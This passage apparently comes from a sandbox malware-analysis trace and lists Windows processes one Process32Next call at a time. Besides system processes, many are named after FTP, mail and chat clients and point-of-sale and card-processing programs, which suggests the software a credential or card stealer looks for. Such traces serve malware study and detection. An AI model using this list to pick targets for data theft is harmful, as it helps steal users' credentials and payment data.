lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0238.800] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0238.854] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0238.856] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.857] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0238.858] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0238.860] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0238.861] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0238.862] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.864] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0238.865] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0238.867] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0238.868] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0238.869] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0238.871] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0238.872] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0238.873] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0238.875] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0238.876] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0238.877] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0238.879] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0238.880] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0238.882] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0238.883] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0238.884] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0238.885] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0238.887] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0238.888] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0238.889] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0238.927] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0238.929] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0238.930] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0238.932] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0238.934] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0238.935] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0238.936] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0238.938] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0238.939] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0238.941] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0238.943] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0238.945] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0238.946] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0238.948] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0238.950] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0238.951] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0238.953] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0238.955] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0238.958] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0238.960] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0238.962] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0238.964] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0238.965] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0238.967] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0238.969] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0238.970] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0239.025] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0239.027] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0239.029] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0239.031] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0239.032] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0239.034] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0239.036] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0239.038] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0239.040] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0239.041] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0239.043] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0239.044] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0239.046] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0239.048] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0239.049] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0239.051] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0239.053] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0239.054] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0239.056] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0239.117] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0239.119] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0239.121] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0239.122] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0239.124] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0239.126] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0239.128] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0239.129] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0239.131] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0239.133] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0239.135] 